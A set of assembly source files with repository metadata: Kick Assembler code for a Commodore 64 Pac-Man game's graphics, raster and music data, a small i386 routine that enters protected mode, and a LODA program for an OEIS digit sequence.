$40+$18, $40+$1e, $40+$24, $40+$2a, $40+$30, $40+$36, $40+$3c, $80+3, $80+9, $80+$f, $80+$15, $80+$1b, $80+$21, $80+$27, $80+$2d, $80+$33, $80+$39, $c0, $c0+6, $c0+$c, $c0+$12, $c0+$18, $c0+$1e, $c0+$24, $c0+$2a, $c0+$30, $c0+$36, $c0+$3c, $100+3, $100+9, $100+$f, $100+$15, $100+$1b, $100+$21, $100+$27, $100+$2d, $100+$33, $100+$39, $140, $140+6, $140+$c, $140+$12, $140+$18, $140+$1e, $140+$24, $140+$2a, $140+$30, $140+$36, $140+$3c, $180+3, $180+9, $180+$f, $180+$15, $180+$1b, $180+$21, $180+$27, $180+$2d, $180+$33, $180+$39, $1c0, $1c0+6, $1c0+$c, $1c0+$12, $1c0+$18, $1c0+$1e, $1c0+$24, $1c0+$2a, $1c0+$30, $1c0+$36, $1c0+$3c, $200+3, $200+9, $200+$f, $200+$15, $200+$1b, $200+$21, $200+$27, $200+$2d, $200+$33, $200+$39, $240, $240+6, $240+$c, $240+$12, $240+$18, $240+$1e, $240+$24, $240+$2a, $240+$30, $240+$36, $240+$3c, $280+3, $280+9, $280+$f, $280+$15, $280+$1b, $280+$21, $280+$27, $280+$2d, $280+$33, $280+$39, $2c0, $2c0+6, $2c0+$c, $2c0+$12, $2c0+$18, $2c0+$1e, $2c0+$24, $2c0+$2a, $2c0+$30, $2c0+$36, $2c0+$3c, $300+3, $300+9, $300+$f, $300+$15, $300+$1b, $300+$21, $300+$27, $300+$2d, $300+$33, $300+$39, $340, $340+6, $340+$c, $340+$12, $340+$18, $340+$1e, $340+$24, $340+$2a, $340+$30, $340+$36, $340+$3c // Increment for each y-position from the first pixel of an X column .align $20 RENDER_YPOS_INC: .byte 0, 0, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7 // The BOB x column position (0-24) (a column is 8 pixels) bobs_xcol: .byte $a, $a, $a, $a, $a // The BOB y fine position (0-99). The y-position is a line on the screen. Since every second line is black each ypos represents a 2 pixel distance. bobs_yfine: .byte $2d, $2d, $2d, $2d, $2d // The BOB ID in the BOB data tables bobs_bob_id: .byte 0, 0, 0, 0, 0 // The BOB restore data: 18 bytes per BOB. Doubled for double-buffering. // char * left_canvas; // char left_ypos_inc_offset; // char * right_canvas; // char right_ypos_inc_offset; // char[12] restore_pixels; .align $100 bobs_restore: .fill NUM_BOBS*SIZE_BOB_RESTORE*2, 0 .segment Init // The level represented as 4x4 px tiles. Each byte is the ID of a tile from the tile set. // The level is 50 tiles * 37 tiles. The first tile line are special half-tiles (where only the last 2 pixel rows are shown). // The level data is organized as 37 rows of 50 tile IDs. LEVEL_TILES_CRUNCHED: .modify B2() { .pc = LEVEL_TILES "LEVEL TILE GRAPHICS" .var pic_level = LoadPicture("pacman-tiled.png", List().add($000000, $352879, $bfce72, $883932)) // Maps the tile pixels (a 16 bit number) to the tile ID .var TILESET = Hashtable() // Maps the tile ID to the pixels (a 16 bit number) .var TILESET_BY_ID = Hashtable() // Tile ID 0 is empty .eval TILESET.put(0, 0) .eval TILESET_BY_ID.put(0, 0) .align $100 // TABLE LEVEL_TILES[64*37] // The level is 50 tiles * 37 tiles. The first tile line are special half-tiles (where only the last 2 pixel rows are shown). // The level data is organized as 37 rows of 64 bytes containing tile IDs. (the last 14 are unused to achieve 64-byte alignment) .for(var ytile=0; ytile<37; ytile++) { .for(var xtile=0; xtile<50; xtile++) { // Find the tile pixels (4x4 px - 16 bits) .var pixels = 0; .for(var i=0; i<4; i++) { .var pix = pic_level.getMulticolorByte(xtile/2,ytile*4+i) .if((xtile&1)==0) { // left nibble .eval pix = floor(pix / $10) } else { // right nibble .eval pix = pix & $0f } .eval pixels = pixels*$10 + pix } .var tile_id = 0 .if(TILESET.containsKey(pixels)) { .eval tile_id = TILESET.get(pixels) } else { .eval tile_id = TILESET.keys().size() .eval TILESET.put(pixels, tile_id) .eval TILESET_BY_ID.put(tile_id, pixels) // .print "tile "+tile_id+" : "+toHexString(pixels,4) } // Output the tile ID .byte tile_id } .fill 14, 0 } .align $100 // TABLE char TILES_LEFT[0x80] // The left tile graphics. A tile is 4x4 px. The left tiles contain tile graphics for the 4 left bits of a char. Each tile is 4 bytes. .for(var tile_id=0;tile_id<TILESET_BY_ID.keys().size();tile_id++) { .var pixels = TILESET_BY_ID.get(tile_id) .for(var i=0; i<4; i++) { .var pix = (pixels & $f000) >> 12 .byte pix<<4 .eval pixels = pixels << 4 } } .align $80 // TABLE char TILES_RIGHT[0x80] // The right tile graphics. A tile is 4x4 px. The right tiles contain tile graphics for the 4 right bits of a char. Each tile is 4 bytes. .for(var tile_id=0;tile_id<TILESET_BY_ID.keys().size();tile_id++) { .var pixels = TILESET_BY_ID.get(tile_id) .for(var i=0; i<4; i++) { .var pix = (pixels & $f000) >> 12 .byte pix .eval pixels = pixels << 4 } } .align $80 // TABLE char TILES_TYPE[0x20] // 0: empty (all black), 1:pill, 2:powerup, 4: wall (contains blue pixels) .for(var tile_id=0;tile_id<TILESET_BY_ID.keys().size();tile_id++) { .var pixels = TILESET_BY_ID.get(tile_id) .var tile_type = 0 .if(pixels==$0220) .eval tile_type=1 // 1:pill .if(pixels==$aaaa) .eval tile_type=2 // 2:powerup .for(var i=0; i<4; i++) { .var pix = (pixels & $f000) >> 12 // Detect wall - any blue pixels (%01) .if( (pix&%0100)==%0100) .eval tile_type = 4; // 4:wall .if( (pix&%0001)==%0001) .eval tile_type = 4; // 4:wall .eval pixels = pixels << 4 } .byte tile_type //.print "tile "+tile_id+" gfx "+toHexString(TILESET_BY_ID.get(tile_id),4) + " type "+tile_type } } // BOB data: One table per bob byte (left/right, mask/pixels = 4 tables). The index into the table is the bob_id + row*BOB_ROW_SIZE. BOB_GRAPHICS_CRUNCHED: .modify B2() { .pc = BOB_MASK_LEFT "BOB GRAPHICS TABLES" .var bobs_pic = LoadPicture("pacman-bobs.png", List().add($000000, $352879, $bfce72, $883932)) // TABLE char BOB_MASK_LEFT[BOB_ROW_SIZE*6] .for(var row=0; row<6;row++) { .align BOB_ROW_SIZE .for(var pac=0; pac<9;pac++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(0,scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(0,24+scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(0,48+scroll*6+row) } // TABLE char BOB_MASK_RIGT[BOB_ROW_SIZE*6] .for(var row=0; row<6;row++) { .align BOB_ROW_SIZE .for(var pac=0; pac<9;pac++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(1,scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(1,24+scroll*6+row) .for(var blue=0; blue<8;blue++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(1,48+scroll*6+row) } // TABLE char BOB_PIXEL_LEFT[BOB_ROW_SIZE*6] .for(var row=0; row<6;row++) { .align BOB_ROW_SIZE .for(var pac=0; pac<9;pac++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(2+pac*2,scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(2+ghost*2,24+scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(2+ghost*2,48+scroll*6+row) } // TABLE char BOB_PIXEL_RIGT[BOB_ROW_SIZE*6] .for(var row=0; row<6;row++) { .align BOB_ROW_SIZE .for(var pac=0; pac<9;pac++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(3+pac*2,scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(3+ghost*2,24+scroll*6+row) .for(var ghost=0; ghost<8;ghost++) .for(var scroll=0; scroll<4;scroll++) .byte bobs_pic.getMulticolorByte(3+ghost*2,48+scroll*6+row) } } // Splash screen 25 xcol * 147 ypos bytes SPLASH_CRUNCHED: .modify B2() { .pc = SPLASH "SPLASH SCREEN" // 00:BLACK, 01:BLUE, 10:YELLOW, 11:RED .var pic_splash_mc = LoadPicture("pacman-splash.png", List().add($000000, $352879, $bfce72, $883932)) // 0:BLACK, 1:YELLOW .var pic_splash_yellow = LoadPicture("pacman-splash.png", List().add($000000, $bfce72)) // 0:BLACK, 1:BLUE .var pic_splash_blue = LoadPicture("pacman-splash.png", List().add($000000, $352879)) .for(var xcol=0; xcol<25; xcol++) { .for(var ypos=0; ypos<147; ypos++) { .if(ypos>25 && ypos<123) { // Sprites in the sides are in single color blue on splash screen .byte pic_splash_blue.getSinglecolorByte(xcol,ypos) } else .if(xcol>2 && xcol<21) { // Sprites 2-7 are in single color yellow on splash screen .byte pic_splash_yellow.getSinglecolorByte(xcol,ypos) } else { // Sprites 0&1 are in multi color on splash screen .byte pic_splash_mc.getMulticolorByte(xcol,ypos) } } } } // Victory graphics 25 xcol * 25 ypos bytes WIN_GFX_CRUNCHED: .modify B2() { .pc = WIN_GFX "WIN GRAPHICS" // 00:BLACK, 01:BLUE, 10:YELLOW, 11:RED .var pic_win = LoadPicture("pacman-win.png", List().add($000000, $352879, $bfce72, $883932)) .for(var xcol=0; xcol<25; xcol++) { .for(var ypos=0; ypos<25; ypos++) { .byte pic_win.getMulticolorByte(xcol,ypos) } } } // Game Over graphics 25 xcol * 25 ypos bytes GAMEOVER_GFX_CRUNCHED: .modify B2() { .pc = GAMEOVER_GFX "GAMEOVER GRAPHICS" // 00:BLACK, 01:BLUE, 10:YELLOW, 11:RED .var pic_gameover = LoadPicture("pacman-gameover.png", List().add($000000, $352879, $bfce72, $883932)) .for(var xcol=0; xcol<25; xcol++) { .for(var ypos=0; ypos<25; ypos++) { .byte pic_gameover.getMulticolorByte(xcol,ypos) } } } // Renders the BOBs at the given positions // The bob logic code will be merged with raster code using code-merger.c // First restores the canvas from previously rendered bobs, and then renders the bobs at the given positions. // BOBs are 16px*6px graphics (2 x-columns * 6px) with masks and pixels // Uses the bobs_xcol, bobs_yfine, bobs_bob_id and bob_restore for data about the bobs // Implemented in inline kick assembler LOGIC_CODE_CRUNCHED: .macro LOGIC_BEGIN(cycles) { .byte cycles } .macro LOGIC_END() { .byte $ff } .modify B2() { .pc = LOGIC_CODE_UNMERGED "LOGIC CODE UNMERGED" LOGIC_BEGIN(2) clc LOGIC_END() // ****************************************** // Restores the canvas under the rendered bobs // ****************************************** .for(var bob=NUM_BOBS-1;bob>=0; bob--) { //LOGIC_BEGIN(6) //inc $d021 //LOGIC_END() LOGIC_BEGIN(3) ldx bobs_restore_base LOGIC_END() // char * volatile left_canvas = *((char**)&bob_restore[0]); LOGIC_BEGIN(7) lda bobs_restore+SIZE_BOB_RESTORE*bob+0,x sta.z left_canvas LOGIC_END() LOGIC_BEGIN(7) lda bobs_restore+SIZE_BOB_RESTORE*bob+1,x sta.z left_canvas+1 LOGIC_END() // char left_ypos_inc_offset = bob_restore[2]; LOGIC_BEGIN(7) lda bobs_restore+SIZE_BOB_RESTORE*bob+2,x sta.z left_ypos_inc_offset LOGIC_END() // char * volatile rigt_canvas = *((char**)&bob_restore[3]); LOGIC_BEGIN(7) lda bobs_restore+SIZE_BOB_RESTORE*bob+3,x sta.z rigt_canvas LOGIC_END() LOGIC_BEGIN(7) lda bobs_restore+SIZE_BOB_RESTORE*bob+4,x sta.z rigt_canvas+1 LOGIC_END() // char rigt_ypos_inc_offset = bob_restore[5]; LOGIC_BEGIN(7) lda bobs_restore+SIZE_BOB_RESTORE*bob+5,x sta.z rigt_ypos_inc_offset LOGIC_END() // Restore Bob Rows LOGIC_BEGIN(2) ldy #0 LOGIC_END() .for(var row=0;row<6;row++) { //left_canvas += RENDER_YPOS_INC[left_ypos_inc_offset++]; LOGIC_BEGIN(3) ldx.z left_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(5) inc.z left_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(18) lda RENDER_YPOS_INC,x adc.z left_canvas sta.z left_canvas lda.z left_canvas+1 adc #0 sta.z left_canvas+1 LOGIC_END() //rigt_canvas += RENDER_YPOS_INC[rigt_ypos_inc_offset++]; LOGIC_BEGIN(3) ldx.z rigt_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(5) inc.z rigt_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(18) lda RENDER_YPOS_INC,x adc.z rigt_canvas sta.z rigt_canvas lda.z rigt_canvas+1 adc #0 sta.z rigt_canvas+1 LOGIC_END() LOGIC_BEGIN(3) ldx bobs_restore_base LOGIC_END() // *left_canvas = bob_restore[6] ; LOGIC_BEGIN(10) lda bobs_restore+SIZE_BOB_RESTORE*bob+6+row,x sta (left_canvas),y LOGIC_END() // *rigt_canvas = bob_restore[7]; LOGIC_BEGIN(10) lda bobs_restore+SIZE_BOB_RESTORE*bob+12+row,x sta (rigt_canvas),y LOGIC_END() } } // ****************************************** // Render two tiles on the canvas // ****************************************** // y==0 from bob restore LOGIC_BEGIN(12) // char tile_left_idx = 4 * logic_tile_ptr[0]; lda (logic_tile_ptr),y asl asl sta logic_tile_left_idx LOGIC_END() // char logic_tile_right_idx = 4 * logic_tile_ptr[1]; LOGIC_BEGIN(2) iny LOGIC_END() LOGIC_BEGIN(12) lda (logic_tile_ptr),y asl asl sta logic_tile_right_idx LOGIC_END() // char * render_index_xcol = (char*){ (>RENDER_INDEX) + xcol, ytile*2 }; LOGIC_BEGIN(8) lda #>RENDER_INDEX adc logic_tile_xcol sta.z left_render_index_xcol+1 LOGIC_END() LOGIC_BEGIN(6) lda logic_tile_yfine sta.z left_render_index_xcol LOGIC_END() // unsigned int canvas_offset = {render_index_xcol[RENDER_OFFSET_CANVAS_HI], render_index_xcol[RENDER_OFFSET_CANVAS_LO] }; // char * left_canvas = canvas_base_hi*$100 + canvas_offset; LOGIC_BEGIN(2) ldy #RENDER_OFFSET_CANVAS_LO LOGIC_END() LOGIC_BEGIN(8) lda (left_render_index_xcol),y sta.z left_canvas LOGIC_END() LOGIC_BEGIN(2) ldy #RENDER_OFFSET_CANVAS_HI LOGIC_END() LOGIC_BEGIN(11) lda (left_render_index_xcol),y adc canvas_base_hi sta.z left_canvas+1 LOGIC_END() // char left_ypos_inc_offset = render_index_xcol[RENDER_OFFSET_YPOS_INC]; LOGIC_BEGIN(2) ldy #RENDER_OFFSET_YPOS_INC LOGIC_END() LOGIC_BEGIN(8) lda (left_render_index_xcol),y sta.z left_ypos_inc_offset LOGIC_END() // Render Tile Rows LOGIC_BEGIN(2) ldy #0 LOGIC_END() .for(var row=0;row<4;row++) { // *left_canvas = tile_left_pixels[y] | tile_right_pixels[y]; LOGIC_BEGIN(3) ldx logic_tile_left_idx LOGIC_END() LOGIC_BEGIN(17) lda TILES_LEFT+row,x ldx logic_tile_right_idx ora TILES_RIGHT+row,x sta (left_canvas),y LOGIC_END() //left_canvas += RENDER_YPOS_INC[left_ypos_inc_offset++]; LOGIC_BEGIN(3) ldx.z left_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(18) lda RENDER_YPOS_INC,x adc.z left_canvas sta.z left_canvas lda.z left_canvas+1 adc #0 sta.z left_canvas+1 LOGIC_END() LOGIC_BEGIN(5) inc.z left_ypos_inc_offset LOGIC_END() } // ****************************************** // Renders the BOBs at the given positions // ****************************************** .for(var bob=0;bob<NUM_BOBS; bob++) { // char * left_render_index_xcol = (char*){ (>RENDER_INDEX) + xcol, yfine }; // char * rigt_render_index_xcol = (char*){ (>RENDER_INDEX) + xcol+1, yfine }; //LOGIC_BEGIN(6) //inc $d021 //LOGIC_END() LOGIC_BEGIN(14) lda #>RENDER_INDEX adc bobs_xcol+bob sta.z left_render_index_xcol+1 adc #1 sta.z rigt_render_index_xcol+1 LOGIC_END() LOGIC_BEGIN(10) lda bobs_yfine+bob sta.z left_render_index_xcol sta.z rigt_render_index_xcol LOGIC_END() // char * left_canvas = (char*){ left_render_index_xcol[85], left_render_index_xcol[0] }; // bob_restore[0] = <left_canvas; bob_restore[1] = >left_canvas; // char * rigt_canvas = (char*){ rigt_render_index_xcol[85], rigt_render_index_xcol[0] }; // bob_restore[3] = <rigt_canvas; bob_restore[4] = >rigt_canvas; LOGIC_BEGIN(3) ldx bobs_restore_base LOGIC_END() LOGIC_BEGIN(2) ldy #RENDER_OFFSET_CANVAS_LO LOGIC_END() LOGIC_BEGIN(13) lda (left_render_index_xcol),y sta.z left_canvas sta bobs_restore+SIZE_BOB_RESTORE*bob+0,x LOGIC_END() LOGIC_BEGIN(13) lda (rigt_render_index_xcol),y sta.z rigt_canvas sta bobs_restore+SIZE_BOB_RESTORE*bob+3,x LOGIC_END() LOGIC_BEGIN(2) ldy #RENDER_OFFSET_CANVAS_HI LOGIC_END() LOGIC_BEGIN(16) lda (left_render_index_xcol),y adc canvas_base_hi sta.z left_canvas+1 sta bobs_restore+SIZE_BOB_RESTORE*bob+1,x LOGIC_END() LOGIC_BEGIN(16) lda (rigt_render_index_xcol),y adc canvas_base_hi sta.z rigt_canvas+1 sta bobs_restore+SIZE_BOB_RESTORE*bob+4,x LOGIC_END() // char left_ypos_inc_offset = left_render_index_xcol[170]; // bob_restore[2] = left_ypos_inc_offset; // char rigt_ypos_inc_offset = rigt_render_index_xcol[170]; // bob_restore[5] = rigt_ypos_inc_offset; LOGIC_BEGIN(2) ldy #RENDER_OFFSET_YPOS_INC LOGIC_END() LOGIC_BEGIN(13) lda (left_render_index_xcol),y sta.z left_ypos_inc_offset sta bobs_restore+SIZE_BOB_RESTORE*bob+2,x LOGIC_END() LOGIC_BEGIN(13) lda (rigt_render_index_xcol),y sta.z rigt_ypos_inc_offset sta bobs_restore+SIZE_BOB_RESTORE*bob+5,x LOGIC_END() // Render Bob Rows LOGIC_BEGIN(2) ldy #0 LOGIC_END() .for(var row=0;row<6;row++) { //left_canvas += RENDER_YPOS_INC[left_ypos_inc_offset++]; LOGIC_BEGIN(3) ldx.z left_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(18) lda RENDER_YPOS_INC,x adc.z left_canvas sta.z left_canvas lda.z left_canvas+1 adc #0 sta.z left_canvas+1 LOGIC_END() LOGIC_BEGIN(5) inc.z left_ypos_inc_offset LOGIC_END() //rigt_canvas += RENDER_YPOS_INC[rigt_ypos_inc_offset++]; LOGIC_BEGIN(3) ldx.z rigt_ypos_inc_offset LOGIC_END() LOGIC_BEGIN(18) lda RENDER_YPOS_INC,x adc.z rigt_canvas sta.z rigt_canvas lda.z rigt_canvas+1 adc #0 sta.z rigt_canvas+1 LOGIC_END() LOGIC_BEGIN(5) inc.z rigt_ypos_inc_offset LOGIC_END() // bob_restore[6] = *left_canvas; // *left_canvas = *left_canvas & BOB_MASK_LEFT_0[bob_id] | BOB_PIXEL_LEFT_0[bob_id]; LOGIC_BEGIN(3) ldx bobs_restore_base LOGIC_END() LOGIC_BEGIN(10) lda (left_canvas),y sta bobs_restore+SIZE_BOB_RESTORE*bob+6+row,x LOGIC_END() LOGIC_BEGIN(10) lda (rigt_canvas),y sta bobs_restore+SIZE_BOB_RESTORE*bob+12+row,x LOGIC_END() LOGIC_BEGIN(4) ldx bobs_bob_id+bob LOGIC_END() LOGIC_BEGIN(19) lda (left_canvas),y and BOB_MASK_LEFT+row*BOB_ROW_SIZE,x ora BOB_PIXEL_LEFT+row*BOB_ROW_SIZE,x sta (left_canvas),y LOGIC_END() // bob_restore[7] = *rigt_canvas; // *rigt_canvas = *rigt_canvas & BOB_MASK_RIGT_0[bob_id] | BOB_PIXEL_RIGT_0[bob_id]; LOGIC_BEGIN(19) lda (rigt_canvas),y and BOB_MASK_RIGT+row*BOB_ROW_SIZE,x ora BOB_PIXEL_RIGT+row*BOB_ROW_SIZE,x sta (rigt_canvas),y LOGIC_END() } } //LOGIC_BEGIN(6) //lda #0 //sta $d021 //LOGIC_END() LOGIC_BEGIN(0) // end of logic code } // Raster-code for displaying 9 sprites on the entire screen - with open side borders // The uncrunched code will be merged with logic code using code-merger.c // The unmerged raster-code is identical for both buffers! RASTER_CODE_CRUNCHED: .macro RASTER_CYCLES(cycles) { .byte $ff, cycles } .modify B2() { .pc = RASTER_CODE_UNMERGED "RASTER CODE UNMERGED" RASTER_CYCLES(29) // Line 7 cycle 44 // Raster Line .var raster_line = 7 // Line in the sprite .var sprite_line = 20 // Current sprite ypos .var sprite_ypos = 7 // Current sprite screen (graphics bank not important since sprite layout in the banks is identical) .var sprite_screen = SCREENS_1 .var available_cycles = 0; .for(var i=0;i<293;i++) { // Line cycle count .var line_cycles = 46 .if(raster_line>=70 && raster_line<238) { // Only 2 sprites on these lines - so more cycles available .eval line_cycles = 58 } // Create 9th sprite by moving sprite 0 .if(mod(raster_line,2)==0) { lda #$6f sta $d000 } else { lda #$e7 sta $d000 } .eval line_cycles -= 6; lda #$8 // Cycle 50. LSR abs is a 6 cycle RWM instruction. lsr VICII_CONTROL2 sta VICII_CONTROL2 .eval line_cycles -= 12; .eval raster_line++ .eval sprite_line++ .if(sprite_line==21) { .eval sprite_line = 0 .eval sprite_ypos += 21 } // Set sprite single-color mode on splash .if(raster_line==53) { lda side_sprites_mc sta $d01c lda side_sprites_color sta $d027 sta $d028 .eval line_cycles -= 18 } // Set sprite multi-color mode on splash .if(raster_line==248) { lda bottom_sprites_mc sta $d01c lda bottom_sprites_color sta $d027 sta $d028 .eval line_cycles -= 18 //.print "raster:"+raster_line+" multi-color" } // Open top border .if(raster_line==55) { lda #VICII_RSEL|VICII_ECM|VICII_BMM|7 sta VICII_CONTROL1 .eval line_cycles -= 6 //.print "raster:"+raster_line+" top border rsel=1" } // Open bottom border .if(raster_line==250) { lda #VICII_ECM|VICII_BMM|7 // DEN=0, RSEL=0 sta VICII_CONTROL1 .eval line_cycles -= 6 //.print "raster:"+raster_line+" bottom border rsel=0" } // Move sprites down .if(sprite_line>=2 && sprite_line<=9) { .if(sprite_ypos<300) { .var sprite_id = sprite_line-2 .if(sprite_id==0 || sprite_id==1 || sprite_ypos<=55 || sprite_ypos>=(246-21)) { lda #sprite_ypos sta SPRITES_YPOS+2*sprite_id .eval line_cycles -= 6; //.print "raster:"+raster_line+" sprite:"+sprite_id+" ypos:"+sprite_ypos } } } // Change sprite data .if(sprite_line==20) { .eval sprite_screen += $400 lda #sprite_screen/$40 sta VICII_MEMORY .eval line_cycles -= 6 //.print "raster:"+raster_line+" sprite data $"+toHexString(sprite_screen) } // Spend the rest of the cycles on NOPS .if(line_cycles<0 || line_cycles==1) .error "Too many cycles spent on line "+raster_line .if(line_cycles>0) { //.print "raster:"+raster_line+" cycles $"+toHexString(line_cycles) RASTER_CYCLES(line_cycles) .eval line_cycles -= line_cycles .eval available_cycles += line_cycles } } //.print "Available cycles: "+available_cycles lda #$6f sta $d000 lda #$8 // Cycle 50. LSR abs is a 6 cycle RWM instruction. lsr VICII_CONTROL2 sta VICII_CONTROL2 RASTER_CYCLES(00) // End of raster code } // SID tune // Pacman 2 channel music by Metal/Camelot INTRO_MUSIC_CRUNCHED: .modify B2() { .pc = INTRO_MUSIC "INTRO MUSIC" .const music = LoadBinary("pacman-2chn-simpler.prg", BF_C64FILE) .fill music.getSize(), music.get(i) } .segment Data // Offset of the LEVEL_TILE data within the LEVEL_TILE data (each row is 64 bytes of data) LEVEL_YTILE_OFFSET: .word 0, $40, $80, $c0, $100, $140, $180, $1c0, $200, $240, $280, $2c0, $300, $340, $380, $3c0, $400, $440, $480, $4c0, $500, $540, $580, $5c0, $600, $640, $680, $6c0, $700, $740, $780, $7c0, $800, $840, $880, $8c0, $900 // Used to choose a single direction when presented with multiple potential directions. // Used to eliminate diagonal joy directions and convert them to a single direction // Priority: (4)up, (8)down, (16)left, (32)right .align $40 DIRECTION_SINGLE: .byte 0, 0, 0, 0, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4, $10, $10, $10, $10, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4, $20, $20, $20, $20, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4, $10, $10, $10, $10, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4 // Used to eliminate a single direction (the one that the ghost came from) // The value DIRECTION_ELIMINATE[current_direction] is ANDed onto the open directions to remove the current direction .align $40 DIRECTION_ELIMINATE: .byte $ff, 0, 0, 0, $f7, 0, 0, 0, $fb, 0, 0, 0, 0, 0, 0, 0, $df, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, $ef // Used to reverse direction direction (when a ghost changes between chase and scatter) .align $40 DIRECTION_REVERSE: .byte 0, 0, 0, 0, 8, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, $20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, $10 // The animation frames for pacman. The index into this is DIRECTION + anim_frame_idx. .align $40 pacman_frames: .byte 8, 8, 8, 8, 8, $18, $14, $18, 8, $20, $1c, $20, 0, 0, 0, 0, 8, 4, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, $c, $10, $c // The animation frames for ghost. The index into thos is DIRECTION + anim_frame_idx. .align $80 ghost_frames: .byte 0, 0, 0, 0, $3c, $40, $3c, $40, $34, $38, $34, $38, 0, 0, 0, 0, $2c, $30, $2c, $30, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $24, $28, $24, $28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $5c, $60, $5c, $60, $54, $58, $54, $58, 0, 0, 0, 0, $4c, $50, $4c, $50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $44, $48, $44, $48 // Lookup the absolute value of a signed number // PRE_ and POST_ are used to ensure lookup of ABS-1,y works for y=0 and ABS+1,y works for y=0xff .align $100 ABS_PRE: .byte 1 ABS: .for(var i=0;i<$100;i++) { .var x = (i<$80)?i:($100-i); .byte abs(x) } ABS_POST: .byte 0
28.633585
1,333
0.615217
0e478c9f759aa09aa9c145e05c2fbac64266b8cb
476
asm
Assembly
src/kernel/arch/i386/cpu/I386CPUAsm.asm
jameskingstonclarke/arctic
6fec04809d6175689477abfe21416f33e63cb177
[ "MIT" ]
1
2021-02-01T19:28:02.000Z
2021-02-01T19:28:02.000Z
src/kernel/arch/i386/cpu/I386CPUAsm.asm
jameskingstonclarke/arctic
6fec04809d6175689477abfe21416f33e63cb177
[ "MIT" ]
9
2021-02-07T15:46:11.000Z
2021-02-18T08:25:42.000Z
src/kernel/arch/i386/cpu/I386CPUAsm.asm
jameskingstonclarke/arctic
6fec04809d6175689477abfe21416f33e63cb177
[ "MIT" ]
null
null
null
section .text global enter_protected enter_protected: call setup_a20 mov eax, cr0 or eax, 0x1 mov cr0, eax jmp 0x8:update_registers ; this allows us to use more than 20 lines of memory setup_a20: in al, 0x92 or al, 2 out 0x92, al ret ; set the data segment registers to the GDT data segment update_registers: mov ax, 0x10 mov ds, ax mov ss, ax mov es, ax mov fs, ax mov gs, ax ret
17
57
0.609244
d948412cdddb2740b231cf81f9748a77f9d1850c
610
asm
Assembly
programs/oeis/260/A260181.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/260/A260181.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/260/A260181.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A260181: Numbers whose last digit is prime. ; 2,3,5,7,12,13,15,17,22,23,25,27,32,33,35,37,42,43,45,47,52,53,55,57,62,63,65,67,72,73,75,77,82,83,85,87,92,93,95,97,102,103,105,107,112,113,115,117,122,123,125,127,132,133,135,137,142,143,145,147,152,153,155,157,162,163,165,167,172,173,175,177,182,183,185,187,192,193,195,197,202,203,205,207,212,213,215,217,222,223,225,227,232,233,235,237,242,243,245,247 mov $1,$0 mul $0,6 div $0,4 add $0,$1 add $0,2 mod $1,4 sub $0,$1 sub $0,1 seq $1,336551 ; a(n) = A003557(n) - 1. seq $1,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. add $0,$1
